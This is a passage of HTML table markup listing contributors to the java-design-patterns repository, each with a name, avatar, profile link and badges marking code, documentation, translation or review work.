<td align="center" valign="top" width="14.28%"><a href="https://github.com/waisuan"><img src="https://avatars2.githubusercontent.com/u/10975700?v=4?s=100" width="100px;" alt="Evan Sia Wai Suan"/><br /><sub><b>Evan Sia Wai Suan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=waisuan" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/AnaghaSasikumar"><img src="https://avatars2.githubusercontent.com/u/42939261?v=4?s=100" width="100px;" alt="AnaghaSasikumar"/><br /><sub><b>AnaghaSasikumar</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=AnaghaSasikumar" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://christofferh.com"><img src="https://avatars1.githubusercontent.com/u/767643?v=4?s=100" width="100px;" alt="Christoffer Hamberg"/><br /><sub><b>Christoffer Hamberg</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=christofferh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dgruntz"><img src="https://avatars0.githubusercontent.com/u/1516800?v=4?s=100" width="100px;" alt="Dominik Gruntz"/><br /><sub><b>Dominik Gruntz</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dgruntz" title="Code">💻</a></td>
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<tr>
<td align="center" valign="top" width="14.28%"><a href="https://bitbucket.org/hannespernpeintner/"><img src="https://avatars3.githubusercontent.com/u/1679437?v=4?s=100" width="100px;" alt="Hannes"/><br /><sub><b>Hannes</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hannespernpeintner" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/leogtzr"><img src="https://avatars0.githubusercontent.com/u/1211969?v=4?s=100" width="100px;" alt="Leo Gutiérrez Ramírez"/><br /><sub><b>Leo Gutiérrez Ramírez</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=leogtzr" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/npczwh"><img src="https://avatars0.githubusercontent.com/u/14066422?v=4?s=100" width="100px;" alt="Zhang WH"/><br /><sub><b>Zhang WH</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=npczwh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/oconnelc"><img src="https://avatars0.githubusercontent.com/u/1112973?v=4?s=100" width="100px;" alt="Christopher O'Connell"/><br /><sub><b>Christopher O'Connell</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=oconnelc" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/giorgosmav21"><img src="https://avatars2.githubusercontent.com/u/22855493?v=4?s=100" width="100px;" alt="George Mavroeidis"/><br /><sub><b>George Mavroeidis</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=giorgosmav21" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hbothra15"><img src="https://avatars1.githubusercontent.com/u/7418012?v=4?s=100" width="100px;" alt="Hemant Bothra"/><br /><sub><b>Hemant Bothra</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hbothra15" title="Code">💻</a> <a href="#design-hbothra15" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.kevinpeters.net/about/"><img src="https://avatars1.githubusercontent.com/u/12736734?v=4?s=100" width="100px;" alt="Kevin Peters"/><br /><sub><b>Kevin Peters</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=igeligel" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://llorllale.github.io/"><img src="https://avatars1.githubusercontent.com/u/2019896?v=4?s=100" width="100px;" alt="George Aristy"/><br /><sub><b>George Aristy</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=llorllale" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mookkiah"><img src="https://avatars1.githubusercontent.com/u/8975264?v=4?s=100" width="100px;" alt="Mahendran Mookkiah"/><br /><sub><b>Mahendran Mookkiah</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mookkiah" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Azureyjt"><img src="https://avatars2.githubusercontent.com/u/18476317?v=4?s=100" width="100px;" alt="Azureyjt"/><br /><sub><b>Azureyjt</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Azureyjt" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vehpsr"><img src="https://avatars2.githubusercontent.com/u/3133265?v=4?s=100" width="100px;" alt="gans"/><br /><sub><b>gans</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vehpsr" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ThatGuyWithTheHat"><img src="https://avatars0.githubusercontent.com/u/24470582?v=4?s=100" width="100px;" alt="Matt"/><br /><sub><b>Matt</b></sub></a><br /><a href="#content-ThatGuyWithTheHat" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/gopinathlangote/"><img src="https://avatars2.githubusercontent.com/u/10210778?v=4?s=100" width="100px;" alt="Gopinath Langote"/><br /><sub><b>Gopinath Langote</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=gopinath-langote" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hoswey"><img src="https://avatars3.githubusercontent.com/u/3689445?v=4?s=100" width="100px;" alt="Hoswey"/><br /><sub><b>Hoswey</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hoswey" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/amit2103"><img src="https://avatars3.githubusercontent.com/u/7566692?v=4?s=100" width="100px;" alt="Amit Pandey"/><br /><sub><b>Amit Pandey</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=amit2103" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/gwildor28"><img src="https://avatars0.githubusercontent.com/u/16000365?v=4?s=100" width="100px;" alt="gwildor28"/><br /><sub><b>gwildor28</b></sub></a><br /><a href="#content-gwildor28" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://t.me/paul_docker"><img src="https://avatars1.githubusercontent.com/u/2404785?v=4?s=100" width="100px;" alt="田浩"/><br /><sub><b>田浩</b></sub></a><br /><a href="#content-llitfkitfk" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://twitter.com/StPitsios"><img src="https://avatars1.githubusercontent.com/u/6773603?v=4?s=100" width="100px;" alt="Stamatis Pitsios"/><br /><sub><b>Stamatis Pitsios</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=pitsios-s" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/qza"><img src="https://avatars3.githubusercontent.com/u/233149?v=4?s=100" width="100px;" alt="qza"/><br /><sub><b>qza</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=qza" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://tschis.github.io"><img src="https://avatars1.githubusercontent.com/u/20662669?v=4?s=100" width="100px;" alt="Rodolfo Forte"/><br /><sub><b>Rodolfo Forte</b></sub></a><br /><a href="#content-Tschis" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ankurkaushal"><img src="https://avatars2.githubusercontent.com/u/2236616?v=4?s=100" width="100px;" alt="Ankur Kaushal"/><br /><sub><b>Ankur Kaushal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ankurkaushal" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/ovidijus-okinskas/"><img src="https://avatars0.githubusercontent.com/u/20372387?v=4?s=100" width="100px;" alt="Ovidijus Okinskas"/><br /><sub><b>Ovidijus Okinskas</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=okinskas" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/robertt240"><img src="https://avatars1.githubusercontent.com/u/9137432?v=4?s=100" width="100px;" alt="Robert Kasperczyk"/><br /><sub><b>Robert Kasperczyk</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=robertt240" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/trautonen"><img src="https://avatars3.githubusercontent.com/u/1641063?v=4?s=100" width="100px;" alt="Tapio Rautonen"/><br /><sub><b>Tapio Rautonen</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=trautonen" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://vk.com/yuri.orlov"><img src="https://avatars0.githubusercontent.com/u/1595733?v=4?s=100" width="100px;" alt="Yuri Orlov"/><br /><sub><b>Yuri Orlov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=yorlov" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/varunu28/"><img src="https://avatars0.githubusercontent.com/u/7676016?v=4?s=100" width="100px;" alt="Varun Upadhyay"/><br /><sub><b>Varun Upadhyay</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=varunu28" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/PalAditya"><img src="https://avatars2.githubusercontent.com/u/25523604?v=4?s=100" width="100px;" alt="Aditya Pal"/><br /><sub><b>Aditya Pal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=PalAditya" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/grzesiekkedzior"><img src="https://avatars3.githubusercontent.com/u/23739158?v=4?s=100" width="100px;" alt="grzesiekkedzior"/><br /><sub><b>grzesiekkedzior</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=grzesiekkedzior" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Agrzesiekkedzior" title="Reviewed Pull Requests">👀</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/sivasubramanim"><img src="https://avatars2.githubusercontent.com/u/51107434?v=4?s=100" width="100px;" alt="Sivasubramani M"/><br /><sub><b>Sivasubramani M</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sivasubramanim" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/d4gg4d"><img src="https://avatars2.githubusercontent.com/u/99457?v=4?s=100" width="100px;" alt="Sami Airaksinen"/><br /><sub><b>Sami Airaksinen</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=d4gg4d" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vertti"><img src="https://avatars0.githubusercontent.com/u/557751?v=4?s=100" width="100px;" alt="Janne Sinivirta"/><br /><sub><b>Janne Sinivirta</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vertti" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Bobo1239"><img src="https://avatars1.githubusercontent.com/u/2302947?v=4?s=100" width="100px;" alt="Boris-Chengbiao Zhou"/><br /><sub><b>Boris-Chengbiao Zhou</b></sub></a><br /><a href="#content-Bobo1239" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://jahhein.github.io"><img src="https://avatars2.githubusercontent.com/u/10779515?v=4?s=100" width="100px;" alt="Jacob Hein"/><br /><sub><b>Jacob Hein</b></sub></a><br /><a href="#content-Jahhein" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/iamrichardjones"><img src="https://avatars3.githubusercontent.com/u/14842151?v=4?s=100" width="100px;" alt="Richard Jones"/><br /><sub><b>Richard Jones</b></sub></a><br /><a href="#content-iamrichardjones" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://rachelcarmena.github.io"><img src="https://avatars0.githubusercontent.com/u/22792183?v=4?s=100" width="100px;" alt="Rachel M. Carmena"/><br /><sub><b>Rachel M. Carmena</b></sub></a><br /><a href="#content-rachelcarmena" title="Content">🖋</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://zd-zero.github.io"><img src="https://avatars0.githubusercontent.com/u/21978370?v=4?s=100" width="100px;" alt="Zaerald Denze Lungos"/><br /><sub><b>Zaerald Denze Lungos</b></sub></a><br /><a href="#content-zd-zero" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://webpro.nl"><img src="https://avatars1.githubusercontent.com/u/456426?v=4?s=100" width="100px;" alt="Lars Kappert"/><br /><sub><b>Lars Kappert</b></sub></a><br /><a href="#content-webpro" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://xiaod.info"><img src="https://avatars2.githubusercontent.com/u/21277644?v=4?s=100" width="100px;" alt="Mike Liu"/><br /><sub><b>Mike Liu</b></sub></a><br /><a href="#translation-xiaod-dev" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/charlesfinley"><img src="https://avatars1.githubusercontent.com/u/6307904?v=4?s=100" width="100px;" alt="Matt Dolan"/><br /><sub><b>Matt Dolan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=charlesfinley" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Acharlesfinley" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/MananS77"><img src="https://avatars3.githubusercontent.com/u/21033516?v=4?s=100" width="100px;" alt="Manan"/><br /><sub><b>Manan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AMananS77" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nishant"><img src="https://avatars2.githubusercontent.com/u/15331971?v=4?s=100" width="100px;" alt="Nishant Arora"/><br /><sub><b>Nishant Arora</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=nishant" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/raja-peeyush-kumar-singh"><img src="https://avatars0.githubusercontent.com/u/5496024?v=4?s=100" width="100px;" alt="Peeyush"/><br /><sub><b>Peeyush</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=raja-peeyush-kumar-singh" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ravening"><img src="https://avatars1.githubusercontent.com/u/10645273?v=4?s=100" width="100px;" alt="Rakesh"/><br /><sub><b>Rakesh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ravening" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aravening" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vINCENT8888801"><img src="https://avatars0.githubusercontent.com/u/8037883?v=4?s=100" width="100px;" alt="Wei Seng"/><br /><sub><b>Wei Seng</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vINCENT8888801" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/ashish-trivedi-218379135/"><img src="https://avatars3.githubusercontent.com/u/23194128?v=4?s=100" width="100px;" alt="Ashish Trivedi"/><br /><sub><b>Ashish Trivedi</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ashishtrivedi16" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://rayyounghong.com"><img src="https://avatars1.githubusercontent.com/u/41055099?v=4?s=100" width="100px;" alt="洪月阳"/><br /><sub><b>洪月阳</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=RayYH" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://xdvrx1.github.io/"><img src="https://avatars0.githubusercontent.com/u/47092464?v=4?s=100" width="100px;" alt="xdvrx1"/><br /><sub><b>xdvrx1</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Axdvrx1" title="Reviewed Pull Requests">👀</a> <a href="#ideas-xdvrx1" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nahteb"><img src="https://avatars3.githubusercontent.com/u/13121570?v=4?s=100" width="100px;" alt="Bethan Palmer"/><br /><sub><b>Bethan Palmer</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=nahteb" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ToxicDreamz"><img src="https://avatars0.githubusercontent.com/u/45225562?v=4?s=100" width="100px;" alt="Toxic Dreamz"/><br /><sub><b>Toxic Dreamz</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ToxicDreamz" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://www.edycutjong.com"><img src="https://avatars1.githubusercontent.com/u/1098102?v=4?s=100" width="100px;" alt="Edy Cu Tjong"/><br /><sub><b>Edy Cu Tjong</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=edycutjong" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mkrzywanski"><img src="https://avatars0.githubusercontent.com/u/15279585?v=4?s=100" width="100px;" alt="Michał Krzywański"/><br /><sub><b>Michał Krzywański</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mkrzywanski" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.stefan-birkner.de"><img src="https://avatars1.githubusercontent.com/u/711349?v=4?s=100" width="100px;" alt="Stefan Birkner"/><br /><sub><b>Stefan Birkner</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=stefanbirkner" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/fedorskvorcov"><img src="https://avatars3.githubusercontent.com/u/43882212?v=4?s=100" width="100px;" alt="Fedor Skvorcov"/><br /><sub><b>Fedor Skvorcov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=fedorskvorcov" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/samilAyoub"><img src="https://avatars0.githubusercontent.com/u/61546990?v=4?s=100" width="100px;" alt="samilAyoub"/><br /><sub><b>samilAyoub</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=samilAyoub" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vdlald"><img src="https://avatars0.githubusercontent.com/u/29997701?v=4?s=100" width="100px;" alt="Vladislav Golubinov"/><br /><sub><b>Vladislav Golubinov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vdlald" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/swarajsaaj"><img src="https://avatars2.githubusercontent.com/u/6285049?v=4?s=100" width="100px;" alt="Swaraj"/><br /><sub><b>Swaraj</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=swarajsaaj" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://christophflick.de"><img src="https://avatars0.githubusercontent.com/u/4465376?v=4?s=100" width="100px;" alt="Christoph Flick"/><br /><sub><b>Christoph Flick</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ChFlick" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Ascenio"><img src="https://avatars1.githubusercontent.com/u/7662016?v=4?s=100" width="100px;" alt="Ascênio"/><br /><sub><b>Ascênio</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AAscenio" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/domenico-sibilio/"><img src="https://avatars2.githubusercontent.com/u/24280982?v=4?s=100" width="100px;" alt="Domenico Sibilio"/><br /><sub><b>Domenico Sibilio</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dsibilio" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/akashchandwani"><img src="https://avatars2.githubusercontent.com/u/3483277?v=4?s=100" width="100px;" alt="Akash Chandwani"/><br /><sub><b>Akash Chandwani</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aakashchandwani" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.linkedin.com/in/manannikov"><img src="https://avatars2.githubusercontent.com/u/7019769?v=4?s=100" width="100px;" alt="Pavlo Manannikov"/><br /><sub><b>Pavlo Manannikov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=manannikov" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/eimanip"><img src="https://avatars0.githubusercontent.com/u/20307301?v=4?s=100" width="100px;" alt="Eiman"/><br /><sub><b>Eiman</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=eimanip" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/OrangePants-R"><img src="https://avatars0.githubusercontent.com/u/42976136?v=4?s=100" width="100px;" alt="Rocky"/><br /><sub><b>Rocky</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=OrangePants-R" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://ibrahimalii.github.io/"><img src="https://avatars2.githubusercontent.com/u/21141301?v=4?s=100" width="100px;" alt="Ibrahim ali abdelghany"/><br /><sub><b>Ibrahim ali abdelghany</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AibrahimAlii" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/gkulkarni2020"><img src="https://avatars3.githubusercontent.com/u/5161548?v=4?s=100" width="100px;" alt="Girish Kulkarni"/><br /><sub><b>Girish Kulkarni</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=gkulkarni2020" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/omk13"><img src="https://avatars0.githubusercontent.com/u/59054172?v=4?s=100" width="100px;" alt="Omar Karazoun"/><br /><sub><b>Omar Karazoun</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=omk13" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jeff303"><img src="https://avatars0.githubusercontent.com/u/3521562?v=4?s=100" width="100px;" alt="Jeff Evans"/><br /><sub><b>Jeff Evans</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=jeff303" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://viveksb007.github.io"><img src="https://avatars1.githubusercontent.com/u/12713808?v=4?s=100" width="100px;" alt="Vivek Singh"/><br /><sub><b>Vivek Singh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=viveksb007" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/siavashsoleymani"><img src="https://avatars2.githubusercontent.com/u/18074419?v=4?s=100" width="100px;" alt="siavash"/><br /><sub><b>siavash</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=siavashsoleymani" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ruchpeanuts"><img src="https://avatars0.githubusercontent.com/u/29301900?v=4?s=100" width="100px;" alt="ruchpeanuts"/><br /><sub><b>ruchpeanuts</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ruchpeanuts" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/warp125"><img src="https://avatars1.githubusercontent.com/u/48073115?v=4?s=100" width="100px;" alt="warp125"/><br /><sub><b>warp125</b></sub></a><br /><a href="#translation-warp125" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://libkhadir.fr"><img src="https://avatars1.githubusercontent.com/u/45130488?v=4?s=100" width="100px;" alt="KHADIR Tayeb"/><br /><sub><b>KHADIR Tayeb</b></sub></a><br /><a href="#translation-tkhadir" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ignite1771"><img src="https://avatars2.githubusercontent.com/u/59446563?v=4?s=100" width="100px;" alt="ignite1771"/><br /><sub><b>ignite1771</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ignite1771" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/demirhalil"><img src="https://avatars1.githubusercontent.com/u/22895118?v=4?s=100" width="100px;" alt="Halil Demir"/><br /><sub><b>Halil Demir</b></sub></a><br /><a href="#translation-demirhalil" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/rohit10000"><img src="https://avatars.githubusercontent.com/u/20845565?v=4?s=100" width="100px;" alt="Rohit Singh"/><br /><sub><b>Rohit Singh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=rohit10000" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/byoungju94"><img src="https://avatars.githubusercontent.com/u/42516378?v=4?s=100" width="100px;" alt="byoungju94"/><br /><sub><b>byoungju94</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=byoungju94" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/moustafafarhat"><img src="https://avatars.githubusercontent.com/u/38836727?v=4?s=100" width="100px;" alt="Moustafa Farhat"/><br /><sub><b>Moustafa Farhat</b></sub></a><br /><a href="#translation-moustafafarhat" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/richardmr36"><img src="https://avatars.githubusercontent.com/u/19147333?v=4?s=100" width="100px;" alt="Martel Richard"/><br /><sub><b>Martel Richard</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=richardmr36" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/va1m"><img src="https://avatars.githubusercontent.com/u/17025445?v=4?s=100" width="100px;" alt="va1m"/><br /><sub><b>va1m</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=va1m" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/noamgrinch"><img src="https://avatars.githubusercontent.com/u/31648669?v=4?s=100" width="100px;" alt="Noam Greenshtain"/><br /><sub><b>Noam Greenshtain</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=noamgrinch" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://xuyonghong.cn/"><img src="https://avatars.githubusercontent.com/u/14086462?v=4?s=100" width="100px;" alt="yonghong Xu"/><br /><sub><b>yonghong Xu</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=qfxl" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/jinisha-vora"><img src="https://avatars.githubusercontent.com/u/40777762?v=4?s=100" width="100px;" alt="jinishavora"/><br /><sub><b>jinishavora</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Ajinishavora" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=jinishavora" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/eas5"><img src="https://avatars.githubusercontent.com/u/50836521?v=4?s=100" width="100px;" alt="Elvys Soares"/><br /><sub><b>Elvys Soares</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=eas5" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/zWeBrain"><img src="https://avatars.githubusercontent.com/u/46642512?v=4?s=100" width="100px;" alt="zWeBrain"/><br /><sub><b>zWeBrain</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=zWeBrain" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://al-assad.github.io/notion/"><img src="https://avatars.githubusercontent.com/u/22493821?v=4?s=100" width="100px;" alt="余林颖"/><br /><sub><b>余林颖</b></sub></a><br /><a href="#translation-Al-assad" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/STudio26"><img src="https://avatars.githubusercontent.com/u/6988911?v=4?s=100" width="100px;" alt="Alain"/><br /><sub><b>Alain</b></sub></a><br /><a href="#translation-STudio26" title="Translation">🌍</a></td>
